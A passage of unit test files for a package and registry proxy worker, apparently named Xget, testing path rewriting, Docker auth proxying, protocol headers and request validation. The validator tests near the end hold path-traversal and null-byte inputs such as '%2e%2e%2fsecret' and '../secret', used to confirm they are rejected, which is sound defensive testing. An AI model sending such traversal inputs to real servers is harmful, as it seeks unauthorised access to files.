expect(PLATFORMS['cr-ghcr']).toBe('https://ghcr.io');\n      expect(PLATFORMS['cr-gcr']).toBe('https://gcr.io');\n      expect(PLATFORMS['cr-mcr']).toBe('https://mcr.microsoft.com');\n    });\n  });\n\n  describe('Path Transformation Edge Cases', () => {\n    it('should handle empty paths gracefully', () => {\n      Object.keys(PLATFORMS).forEach(key => {\n        expect(() => transformPath('', key)).not.toThrow();\n      });\n    });\n\n    it('should handle paths without platform prefix', () => {\n      Object.keys(PLATFORMS).forEach(key => {\n        const testPath = '/some/random/path';\n        expect(() => transformPath(testPath, key)).not.toThrow();\n      });\n    });\n\n    it('should handle unknown platform keys', () => {\n      const testPath = '/unknown/test/path';\n      expect(transformPath(testPath, 'unknown')).toBe(testPath);\n    });\n\n    it('should handle paths with query parameters', () => {\n      expect(transformPath('/gh/user/repo/file.txt?ref=main', 'gh')).toBe(\n        '/user/repo/file.txt?ref=main'\n      );\n    });\n\n    it('should handle paths with fragments', () => {\n      expect(transformPath('/gh/user/repo/README.md#section', 'gh')).toBe(\n        '/user/repo/README.md#section'\n      );\n    });\n  });\n\n  describe('URL Construction', () => {\n    it('should construct valid URLs for all platforms', () => {\n      Object.entries(PLATFORMS).forEach(([key, baseUrl]) => {\n        const testPath = `/${key.replace('-', '/')}/test/path`;\n        const transformedPath = transformPath(testPath, key);\n        const fullUrl = baseUrl + transformedPath;\n\n        expect(() => new URL(fullUrl)).not.toThrow();\n      });\n    });\n\n    it('should handle container registry URL construction', () => {\n      const testPath = '/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';\n      const transformedPath = transformPath(testPath, 'cr-ghcr');\n      const fullUrl = PLATFORMS['cr-ghcr'] + transformedPath;\n\n      expect(() => new URL(fullUrl)).not.toThrow();\n      expect(fullUrl).toBe('https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest');\n    });\n  });\n\n  describe('Jenkins Plugin Support', () => {\n    it('should have Jenkins platform defined', () => {\n      expect(PLATFORMS).toHaveProperty('jenkins');\n      expect(PLATFORMS.jenkins).toBe('https://updates.jenkins.io');\n    });\n\n    it('should transform Jenkins paths correctly', () => {\n      // Update center JSON - should be redirected to current\n      expect(transformPath('/jenkins/update-center.json', 'jenkins')).toBe(\n        '/current/update-center.json'\n      );\n\n      expect(transformPath('/jenkins/update-center.actual.json', 'jenkins')).toBe(\n        '/current/update-center.actual.json'\n      );\n\n      // Plugin downloads - should preserve download paths\n      expect(\n        transformPath('/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi', 'jenkins')\n      ).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');\n\n      // Experimental update center - should preserve experimental paths\n      expect(transformPath('/jenkins/experimental/update-center.json', 'jenkins')).toBe(\n        '/experimental/update-center.json'\n      );\n\n      // Current paths - should preserve current paths\n      expect(transformPath('/jenkins/current/update-center.json', 'jenkins')).toBe(\n        '/current/update-center.json'\n      );\n\n      // Other paths - should be prefixed with current\n      expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');\n    });\n\n    it('should construct valid URLs for Jenkins services', () => {\n      const jenkinsUrls = [\n        '/jenkins/update-center.json',\n        '/jenkins/download/plugins/git/5.2.1/git.hpi',\n        '/jenkins/experimental/update-center.json',\n        '/jenkins/current/update-center.actual.json'\n      ];\n\n      jenkinsUrls.forEach(path => {\n        const transformedPath = transformPath(path, 'jenkins');\n        const fullUrl = PLATFORMS.jenkins + transformedPath;\n        expect(() => new URL(fullUrl)).not.toThrow();\n      });\n    });\n  });\n\n  describe('Container Registry Support', () => {\n    it('should have all major container registries defined', () => {\n      const containerRegistries = [\n        'cr-quay',\n        'cr-gcr',\n        'cr-mcr',\n        'cr-ecr',\n        'cr-ghcr',\n        'cr-gitlab',\n        'cr-redhat',\n        'cr-oracle',\n        'cr-cloudsmith',\n        'cr-digitalocean',\n        'cr-vmware',\n        'cr-k8s',\n        'cr-heroku',\n        'cr-suse',\n        'cr-opensuse',\n        'cr-gitpod'\n      ];\n\n      containerRegistries.forEach(registry => {\n        expect(PLATFORMS).toHaveProperty(registry);\n        expect(PLATFORMS[registry]).toBeDefined();\n        expect(typeof PLATFORMS[registry]).toBe('string');\n      });\n    });\n\n    it('should use the correct Amazon ECR Public base URL', () => {\n      expect(PLATFORMS['cr-ecr']).toBe('https://public.ecr.aws');\n    });\n\n    it('should transform all container registry paths correctly', () => {\n      const containerRegistries = [\n        'cr-quay',\n        'cr-gcr',\n        'cr-mcr',\n        'cr-ecr',\n        'cr-ghcr',\n        'cr-gitlab',\n        'cr-redhat',\n        'cr-oracle',\n        'cr-cloudsmith',\n        'cr-digitalocean',\n        'cr-vmware',\n        'cr-k8s',\n        'cr-heroku',\n        'cr-suse',\n        'cr-opensuse',\n        'cr-gitpod'\n      ];\n\n      containerRegistries.forEach(registry => {\n        const prefix = registry.replace('cr-', 'cr/');\n        const testPath = `/${prefix}/v2/test/image/manifests/latest`;\n        const transformedPath = transformPath(testPath, registry);\n        expect(transformedPath).toBe('/v2/test/image/manifests/latest');\n      });\n    });\n  });\n\n  describe('AI Inference Providers Support', () => {\n    it('should have all major AI inference providers defined', () => {\n      const aiProviders = [\n        'ip-openai',\n        'ip-anthropic',\n        'ip-gemini',\n        'ip-vertexai',\n        'ip-cohere',\n        'ip-mistralai',\n        'ip-xai',\n        'ip-githubmodels',\n        'ip-nvidiaapi',\n        'ip-perplexity',\n        'ip-braintrust',\n        'ip-groq',\n        'ip-cerebras',\n        'ip-sambanova',\n        'ip-huggingface',\n        'ip-together',\n        'ip-replicate',\n        'ip-fireworks',\n        'ip-nebius',\n        'ip-jina',\n        'ip-voyageai',\n        'ip-falai',\n        'ip-novita',\n        'ip-burncloud',\n        'ip-openrouter',\n        'ip-poe',\n        'ip-featherlessai',\n        'ip-hyperbolic'\n      ];\n\n      aiProviders.forEach(provider => {\n        expect(PLATFORMS).toHaveProperty(provider);\n        expect(PLATFORMS[provider]).toBeDefined();\n        expect(typeof PLATFORMS[provider]).toBe('string');\n        expect(PLATFORMS[provider]).toMatch(/^https:\\/\\/.+/);\n      });\n    });\n\n    it('should transform AI inference provider paths correctly', () => {\n      const testCases = [\n        {\n          provider: 'ip-openai',\n          inputPath: '/ip/openai/v1/chat/completions',\n          expectedPath: '/v1/chat/completions'\n        },\n        {\n          provider: 'ip-anthropic',\n          inputPath: '/ip/anthropic/v1/messages',\n          expectedPath: '/v1/messages'\n        },\n        {\n          provider: 'ip-gemini',\n          inputPath: '/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent',\n          expectedPath: '/v1beta/models/gemini-2.5-flash:generateContent'\n        },\n        {\n          provider: 'ip-cohere',\n          inputPath: '/ip/cohere/v1/generate',\n          expectedPath: '/v1/generate'\n        },\n        {\n          provider: 'ip-huggingface',\n          inputPath: '/ip/huggingface/models/meta-llama/Llama-2-7b-chat-hf',\n          expectedPath: '/models/meta-llama/Llama-2-7b-chat-hf'\n        },\n        {\n          provider: 'ip-together',\n          inputPath: '/ip/together/v1/chat/completions',\n          expectedPath: '/v1/chat/completions'\n        },\n        {\n          provider: 'ip-replicate',\n          inputPath: '/ip/replicate/v1/predictions',\n          expectedPath: '/v1/predictions'\n        },\n        {\n          provider: 'ip-groq',\n          inputPath: '/ip/groq/openai/v1/chat/completions',\n          expectedPath: '/openai/v1/chat/completions'\n        }\n      ];\n\n      testCases.forEach(({ provider, inputPath, expectedPath }) => {\n        const transformedPath = transformPath(inputPath, provider);\n        expect(transformedPath).toBe(expectedPath);\n      });\n    });\n\n    it('should construct valid URLs for AI inference providers', () => {\n      const aiProviders = [\n        'ip-openrouter',\n        'ip-openai',\n        'ip-anthropic',\n        'ip-gemini',\n        'ip-cohere',\n        'ip-huggingface',\n        'ip-together',\n        'ip-replicate',\n        'ip-groq',\n        'ip-fireworks',\n        'ip-mistralai',\n        'ip-perplexity'\n      ];\n\n      aiProviders.forEach(provider => {\n        const testPath = `/ip/${provider.replace('ip-', '')}/v1/test`;\n        const transformedPath = transformPath(testPath, provider);\n        const baseUrl = PLATFORMS[provider];\n\n        // Skip dynamic URLs with placeholders\n        if (!baseUrl.includes('{')) {\n          const fullUrl = baseUrl + transformedPath;\n          expect(() => new URL(fullUrl)).not.toThrow();\n        }\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "test/unit/protocol-helpers.test.js",
    "content": "import { describe, expect, it } from 'vitest';\n\nimport { configureAIHeaders } from '../../src/protocols/ai.js';\nimport { configureGitHeaders, isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';\nimport {\n  configureHuggingFaceHeaders,\n  isHuggingFaceAPIRequest\n} from '../../src/protocols/huggingface.js';\n\ndescribe('Protocol helper coverage', () => {\n  it('detects Git requests from service queries and content types', () => {\n    const serviceRequest = new Request('https://example.com/repo.git?service=git-receive-pack');\n    const contentTypeRequest = new Request('https://example.com/repo.git', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/x-git-upload-pack-request' }\n    });\n\n    expect(isGitRequest(serviceRequest, new URL(serviceRequest.url))).toBe(true);\n    expect(isGitRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);\n  });\n\n  it('detects Git LFS requests from object paths and headers', () => {\n    const infoRequest = new Request('https://example.com/repo.git/info/lfs');\n    const objectRequest = new Request(\n      'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'\n    );\n    const headerRequest = new Request('https://example.com/repo.git/download', {\n      headers: { Accept: 'application/vnd.git-lfs+json' }\n    });\n\n    expect(isGitLFSRequest(infoRequest, new URL(infoRequest.url))).toBe(true);\n    expect(isGitLFSRequest(objectRequest, new URL(objectRequest.url))).toBe(true);\n    expect(isGitLFSRequest(headerRequest, new URL(headerRequest.url))).toBe(true);\n  });\n\n  it('configures standard Git upload and receive pack headers', () => {\n    const uploadHeaders = new Headers();\n    const uploadRequest = new Request('https://example.com/repo.git/git-upload-pack', {\n      method: 'POST'\n    });\n    configureGitHeaders(uploadHeaders, uploadRequest, new URL(uploadRequest.url), false);\n\n    const receiveHeaders = new Headers();\n    const receiveRequest = new Request('https://example.com/repo.git/git-receive-pack', {\n      method: 'POST'\n    });\n    configureGitHeaders(receiveHeaders, receiveRequest, new URL(receiveRequest.url), false);\n\n    expect(uploadHeaders.get('User-Agent')).toBe('git/2.34.1');\n    expect(uploadHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');\n    expect(receiveHeaders.get('User-Agent')).toBe('git/2.34.1');\n    expect(receiveHeaders.get('Content-Type')).toBe('application/x-git-receive-pack-request');\n  });\n\n  it('preserves existing Git headers when already provided', () => {\n    const headers = new Headers({\n      'Content-Type': 'application/custom',\n      'User-Agent': 'custom-git/9.9.9'\n    });\n    const request = new Request('https://example.com/repo.git/git-upload-pack', {\n      method: 'POST'\n    });\n\n    configureGitHeaders(headers, request, new URL(request.url), false);\n\n    expect(headers.get('User-Agent')).toBe('custom-git/9.9.9');\n    expect(headers.get('Content-Type')).toBe('application/custom');\n  });\n\n  it('configures Git LFS batch and object download headers', () => {\n    const batchHeaders = new Headers();\n    const batchRequest = new Request('https://example.com/repo.git/objects/batch', {\n      method: 'POST'\n    });\n    configureGitHeaders(batchHeaders, batchRequest, new URL(batchRequest.url), true);\n\n    const objectHeaders = new Headers();\n    const objectRequest = new Request(\n      'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'\n    );\n    configureGitHeaders(objectHeaders, objectRequest, new URL(objectRequest.url), true);\n\n    expect(batchHeaders.get('User-Agent')).toContain('git-lfs/');\n    expect(batchHeaders.get('Accept')).toBe('application/vnd.git-lfs+json');\n    expect(batchHeaders.get('Content-Type')).toBe('application/vnd.git-lfs+json');\n    expect(objectHeaders.get('Accept')).toBe('application/octet-stream');\n  });\n\n  it('detects Hugging Face API and token passthrough endpoints', () => {\n    const apiRequest = new Request('https://example.com/hf/api/models/demo');\n    const tokenRequest = new Request('https://example.com/hf/token');\n    const regularRequest = new Request(\n      'https://example.com/hf/meta-llama/model/resolve/main/config.json'\n    );\n\n    expect(isHuggingFaceAPIRequest(apiRequest, new URL(apiRequest.url))).toBe(true);\n    expect(isHuggingFaceAPIRequest(tokenRequest, new URL(tokenRequest.url))).toBe(true);\n    expect(isHuggingFaceAPIRequest(regularRequest, new URL(regularRequest.url))).toBe(false);\n  });\n\n  it('configures Hugging Face headers without overwriting explicit content types', () => {\n    const headers = new Headers();\n    const request = new Request('https://example.com/hf/api/models/demo', {\n      method: 'POST',\n      headers: { Authorization: 'Bearer secret-token' }\n    });\n\n    configureHuggingFaceHeaders(headers, request);\n\n    const preconfiguredHeaders = new Headers({ 'Content-Type': 'multipart/form-data' });\n    configureHuggingFaceHeaders(preconfiguredHeaders, request);\n\n    expect(headers.get('Authorization')).toBe('Bearer secret-token');\n    expect(headers.get('Content-Type')).toBe('application/json');\n    expect(preconfiguredHeaders.get('Content-Type')).toBe('multipart/form-data');\n  });\n\n  it('configures AI passthrough headers and preserves explicit values', () => {\n    const headers = new Headers();\n    const request = new Request('https://example.com/ip/openai/v1/chat/completions', {\n      method: 'POST'\n    });\n    configureAIHeaders(headers, request);\n\n    const preconfiguredHeaders = new Headers({\n      'Content-Type': 'application/x-ndjson',\n      'User-Agent': 'custom-ai-proxy/2.0'\n    });\n    configureAIHeaders(preconfiguredHeaders, request);\n\n    expect(headers.get('Content-Type')).toBe('application/json');\n    expect(headers.get('User-Agent')).toBe('Xget-AI-Proxy/1.0');\n    expect(preconfiguredHeaders.get('Content-Type')).toBe('application/x-ndjson');\n    expect(preconfiguredHeaders.get('User-Agent')).toBe('custom-ai-proxy/2.0');\n  });\n});\n"
  },
  {
    "path": "test/unit/protocols.test.js",
    "content": "import { afterEach, describe, expect, it, vi } from 'vitest';\nimport worker from '../../src/index.js';\nimport { CONFIG } from '../../src/config/index.js';\nimport { isAIInferenceRequest } from '../../src/protocols/ai.js';\nimport {\n  getScopeFromUrl,\n  handleDockerAuth,\n  readRegistryTokenResponse\n} from '../../src/protocols/docker.js';\nimport { isDockerRequest } from '../../src/utils/validation.js';\n\n/** @type {ExecutionContext} */\nconst executionContext = {\n  waitUntil() {},\n  passThroughOnException() {}\n};\n\ndescribe('Protocol Detection', () => {\n  it('only treats /ip-prefixed paths as AI inference requests', () => {\n    const request = new Request('https://example.com/gh/user/repo/v1/chat/completions', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/json' },\n      body: '{}'\n    });\n    const url = new URL(request.url);\n\n    expect(isAIInferenceRequest(request, url)).toBe(false);\n  });\n\n  it('does not treat nested /v2/ segments in regular paths as Docker requests', () => {\n    const request = new Request(\n      'https://example.com/gh/user/repo/releases/download/v2/file.tar.gz'\n    );\n    const url = new URL(request.url);\n\n    expect(isDockerRequest(request, url)).toBe(false);\n  });\n});\n\ndescribe('Docker Authentication', () => {\n  afterEach(() => {\n    vi.restoreAllMocks();\n  });\n\n  it('derives scoped pull access from /cr-prefixed registry requests', () => {\n    const url = new URL('https://example.com/cr/docker/v2/nginx/manifests/latest');\n\n    expect(getScopeFromUrl(url, url.pathname, 'cr-docker')).toBe('repository:library/nginx:pull');\n  });\n\n  it('normalizes Docker Hub official image scopes during auth proxying', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {\n      const url = String(input);\n\n      if (url === 'https://registry-1.docker.io/v2/') {\n        return new Response('', {\n          status: 401,\n          headers: {\n            'WWW-Authenticate':\n              'Bearer realm=\"https://auth.docker.io/token\",service=\"registry.docker.io\"'\n          }\n        });\n      }\n\n      return new Response(JSON.stringify({ token: 'token' }), {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      });\n    });\n\n    const request = new Request(\n      'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget'\n    );\n    const response = await handleDockerAuth(request, new URL(request.url), CONFIG);\n\n    expect(response.status).toBe(200);\n    expect(String(fetchSpy.mock.calls[1][0])).toContain(\n      'scope=repository%3Alibrary%2Fnginx%3Apull'\n    );\n  });\n\n  it('routes platform-prefixed auth endpoints without duplicating /v2', async () => {\n    /** @type {string[]} */\n    const upstreamCalls = [];\n    vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {\n      upstreamCalls.push(String(input));\n\n      if (String(input) === 'https://ghcr.io/v2/') {\n        return new Response('', {\n          status: 401,\n          headers: {\n            'WWW-Authenticate': 'Bearer realm=\"https://ghcr.io/token\",service=\"ghcr.io\"'\n          }\n        });\n      }\n\n      return new Response(JSON.stringify({ token: 'token' }), {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      });\n    });\n\n    const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(upstreamCalls[0]).toBe('https://ghcr.io/v2/');\n  });\n\n  it('routes registry manifests without duplicating /v2', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('', {\n        status: 200,\n        headers: { 'Content-Length': '0' }\n      })\n    );\n\n    const request = new Request(\n      'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',\n      {\n        method: 'HEAD'\n      }\n    );\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(String(fetchSpy.mock.calls[0][0])).toBe(\n      'https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest'\n    );\n  });\n\n  it('routes host-style registry manifests through the upstream v2 API', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('', {\n        status: 200,\n        headers: { 'Content-Length': '0' }\n      })\n    );\n\n    const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {\n      method: 'HEAD'\n    });\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(String(fetchSpy.mock.calls[0][0])).toBe(\n      'https://ghcr.io/v2/xixu-me/xget/manifests/latest'\n    );\n  });\n\n  it('normalizes Docker Hub official image paths during proxying', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('', {\n        status: 200,\n        headers: { 'Content-Length': '0' }\n      })\n    );\n\n    const request = new Request('https://example.com/cr/docker/v2/nginx/manifests/latest', {\n      headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }\n    });\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(String(fetchSpy.mock.calls[0][0])).toBe(\n      'https://registry-1.docker.io/v2/library/nginx/manifests/latest'\n    );\n  });\n\n  it('preserves platform-specific Docker auth challenges', async () => {\n    let callCount = 0;\n    vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {\n      callCount++;\n\n      if (callCount === 1) {\n        return new Response('', {\n          status: 401,\n          headers: {\n            'WWW-Authenticate': 'Bearer realm=\"https://ghcr.io/token\",service=\"ghcr.io\"'\n          }\n        });\n      }\n\n      return new Response('denied', { status: 401 });\n    });\n\n    const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {\n      headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }\n    });\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(401);\n    expect(response.headers.get('WWW-Authenticate')).toBe(\n      'Bearer realm=\"https://example.com/cr/ghcr/v2/auth\",service=\"Xget\"'\n    );\n    expect(await response.text()).toContain('UNAUTHORIZED');\n  });\n\n  it('follows 303 redirects for Docker registry responses without forwarding auth headers', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      const headers = new Headers(init?.headers);\n      const url = String(input);\n\n      if (url === 'https://ghcr.io/v2/xixu-me/xget/manifests/latest') {\n        expect(headers.get('Authorization')).toBe('Bearer token123');\n        return new Response(null, {\n          status: 303,\n          headers: {\n            Location: 'https://pkg-containers.githubusercontent.com/manifest'\n          }\n        });\n      }\n\n      if (url === 'https://pkg-containers.githubusercontent.com/manifest') {\n        expect(headers.get('Authorization')).toBeNull();\n        return new Response('', {\n          status: 200,\n          headers: { 'Content-Length': '0' }\n        });\n      }\n\n      throw new Error(`Unexpected fetch URL: ${url}`);\n    });\n\n    const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {\n      headers: { Authorization: 'Bearer token123' }\n    });\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(fetchSpy).toHaveBeenCalledTimes(2);\n  });\n\n  it('accepts standard repository scopes on platform-prefixed auth endpoints', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {\n      const url = String(input);\n\n      if (url === 'https://ghcr.io/v2/') {\n        return new Response('', {\n          status: 401,\n          headers: {\n            'WWW-Authenticate': 'Bearer realm=\"https://ghcr.io/token\",service=\"ghcr.io\"'\n          }\n        });\n      }\n\n      return new Response(JSON.stringify({ token: 'token' }), {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      });\n    });\n\n    const request = new Request(\n      'https://example.com/cr/ghcr/v2/auth?scope=repository:private/repo:pull&service=Xget'\n    );\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(String(fetchSpy.mock.calls[1][0])).toContain('scope=repository%3Aprivate%2Frepo%3Apull');\n  });\n\n  it('treats empty JSON token responses as unusable instead of throwing', async () => {\n    const token = await readRegistryTokenResponse(\n      new Response('', {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      })\n    );\n\n    expect(token).toBeNull();\n  });\n\n  it('falls back cleanly when the token service returns an empty success body', async () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    let callCount = 0;\n\n    vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {\n      callCount++;\n\n      if (callCount === 1) {\n        return new Response('', {\n          status: 401,\n          headers: {\n            'WWW-Authenticate': 'Bearer realm=\"https://ghcr.io/token\",service=\"ghcr.io\"'\n          }\n        });\n      }\n\n      return new Response('', { status: 200 });\n    });\n\n    const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {\n      headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }\n    });\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(401);\n    expect(response.headers.get('WWW-Authenticate')).toBe(\n      'Bearer realm=\"https://example.com/cr/ghcr/v2/auth\",service=\"Xget\"'\n    );\n    expect(await response.text()).toContain('UNAUTHORIZED');\n    expect(warnSpy).not.toHaveBeenCalled();\n  });\n});\n\ndescribe('Protocol Header Configuration', () => {\n  afterEach(() => {\n    vi.restoreAllMocks();\n  });\n\n  it('does not send Git user-agent for AI inference requests', async () => {\n    /** @type {{ url: string, userAgent: string | null }[]} */\n    const observed = [];\n    vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      const headers = new Headers(init?.headers);\n      observed.push({\n        url: String(input),\n        userAgent: headers.get('User-Agent')\n      });\n\n      return new Response('{}', {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      });\n    });\n\n    const request = new Request('https://example.com/ip/openai/v1/chat/completions', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/json' },\n      body: '{}'\n    });\n    const response = await worker.fetch(request, {}, executionContext);\n\n    expect(response.status).toBe(200);\n    expect(observed[0]).toEqual({\n      url: 'https://api.openai.com/v1/chat/completions',\n      userAgent: 'Xget-AI-Proxy/1.0'\n    });\n  });\n\n  it('updates Content-Length after rewriting npm metadata', async () => {\n    const upstreamBody = JSON.stringify({\n      dist: {\n        tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'\n      }\n    });\n\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response(upstreamBody, {\n        status: 200,\n        headers: {\n          'Content-Type': 'application/json',\n          'Content-Length': String(upstreamBody.length)\n        }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/npm/pkg'),\n      {},\n      executionContext\n    );\n    const body = await response.text();\n\n    expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');\n    expect(response.headers.get('Content-Length')).toBe(\n      String(new TextEncoder().encode(body).byteLength)\n    );\n  });\n});\n"
  },
  {
    "path": "test/unit/runtime-helpers.test.js",
    "content": "import { afterEach, describe, expect, it, vi } from 'vitest';\n\nimport { PerformanceMonitor, addPerformanceHeaders } from '../../src/utils/performance.js';\nimport {\n  isFlatpakReferenceFilePath,\n  rewriteTextResponse,\n  shouldRewriteTextResponse\n} from '../../src/utils/rewrite.js';\n\nafterEach(() => {\n  vi.restoreAllMocks();\n});\n\ndescribe('Runtime helper coverage', () => {\n  it('serializes performance metrics and warns on duplicate marks', () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    const monitor = new PerformanceMonitor();\n\n    monitor.mark('request-start');\n    monitor.mark('request-start');\n    monitor.mark('complete');\n\n    const response = addPerformanceHeaders(\n      new Response('ok', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      }),\n      monitor\n    );\n    const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');\n\n    expect(warnSpy).toHaveBeenCalledWith('Mark with name request-start already exists.');\n    expect(metrics).toHaveProperty('request-start');\n    expect(metrics).toHaveProperty('complete');\n    expect(response.headers.get('X-Frame-Options')).toBe('DENY');\n  });\n\n  it('rewrites only supported upstream response types', () => {\n    expect(shouldRewriteTextResponse('pypi', '/pypi/simple/demo/', 'text/html')).toBe(true);\n    expect(shouldRewriteTextResponse('npm', '/npm/demo', 'application/json')).toBe(true);\n    expect(\n      shouldRewriteTextResponse(\n        'flathub',\n        '/flathub/repo/demo.flatpakrepo',\n        'application/octet-stream'\n      )\n    ).toBe(true);\n    expect(shouldRewriteTextResponse('gh', '/gh/user/repo/file.txt', 'text/plain')).toBe(false);\n\n    expect(isFlatpakReferenceFilePath('/flathub/repo/demo.flatpakref')).toBe(true);\n    expect(isFlatpakReferenceFilePath('/flathub/repo/summary')).toBe(false);\n\n    expect(\n      rewriteTextResponse(\n        'flathub',\n        '/flathub/repo/demo.flatpakrepo',\n        'Url=https://dl.flathub.org/repo/',\n        'https://example.com'\n      )\n    ).toContain('https://example.com/flathub/repo/');\n    expect(\n      rewriteTextResponse('gh', '/gh/user/repo/file.txt', 'unchanged', 'https://example.com')\n    ).toBe('unchanged');\n  });\n});\n"
  },
  {
    "path": "test/unit/utils.test.js",
    "content": "import { describe, expect, it } from 'vitest';\n\nimport { createConfig } from '../../src/config/index.js';\nimport { isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';\nimport {\n  addCorsHeaders,\n  addSecurityHeaders,\n  createErrorResponse,\n  resolveAllowedOrigin\n} from '../../src/utils/security.js';\nimport { getAllowedMethods, isDockerRequest, validateRequest } from '../../src/utils/validation.js';\n\ndescribe('Utility Functions', () => {\n  describe('isGitRequest', () => {\n    it('should identify Git info/refs requests', () => {\n      const request = new Request('https://example.com/repo.git/info/refs');\n      const url = new URL(request.url);\n\n      expect(isGitRequest(request, url)).toBe(true);\n    });\n\n    it('should identify Git requests by User-Agent', () => {\n      const request = new Request('https://example.com/repo.git', {\n        headers: { 'User-Agent': 'git/2.34.1' }\n      });\n      const url = new URL(request.url);\n\n      expect(isGitRequest(request, url)).toBe(true);\n    });\n\n    it('should not identify regular file requests as Git', () => {\n      const request = new Request('https://example.com/repo/file.txt');\n      const url = new URL(request.url);\n\n      expect(isGitRequest(request, url)).toBe(false);\n    });\n  });\n\n  describe('isGitLFSRequest', () => {\n    it('should identify LFS batch API requests', () => {\n      const request = new Request('https://example.com/repo.git/objects/batch', {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/vnd.git-lfs+json' }\n      });\n      const url = new URL(request.url);\n\n      expect(isGitLFSRequest(request, url)).toBe(true);\n    });\n\n    it('should identify LFS requests by User-Agent', () => {\n      const request = new Request('https://example.com/repo.git', {\n        headers: { 'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)' }\n      });\n      const url = new URL(request.url);\n\n      expect(isGitLFSRequest(request, url)).toBe(true);\n    });\n\n    it('should not identify regular file requests as LFS', () => {\n      const request = new Request('https://example.com/repo/file.txt');\n      const url = new URL(request.url);\n\n      expect(isGitLFSRequest(request, url)).toBe(false);\n    });\n  });\n\n  describe('validateRequest', () => {\n    it('should allow GET requests', () => {\n      const request = new Request('https://example.com/test', { method: 'GET' });\n      const url = new URL(request.url);\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(true);\n    });\n\n    it('should allow POST requests for Git operations', () => {\n      const request = new Request('https://example.com/repo.git/git-upload-pack', {\n        method: 'POST',\n        headers: { 'User-Agent': 'git/2.34.1' }\n      });\n      const url = new URL(request.url);\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(true);\n    });\n\n    it('should reject encoded traversal attempts against the production validator', () => {\n      const request = new Request('https://example.com/gh/user/repo/%2e%2e%2fsecret');\n      const url = new URL(request.url);\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(false);\n      expect(result.status).toBe(400);\n    });\n\n    it('should reject raw traversal sequences from the original request URL', () => {\n      const request = /** @type {Request} */ ({\n        headers: new Headers(),\n        method: 'GET',\n        url: 'https://example.com/gh/user/repo/../secret'\n      });\n      const url = new URL('https://example.com/gh/user/secret');\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(false);\n      expect(result.status).toBe(400);\n    });\n\n    it('should reject paths containing ASCII control characters', () => {\n      const baseUrl = new URL('https://example.com/gh/user/repo/%00file');\n      const request = /** @type {Request} */ 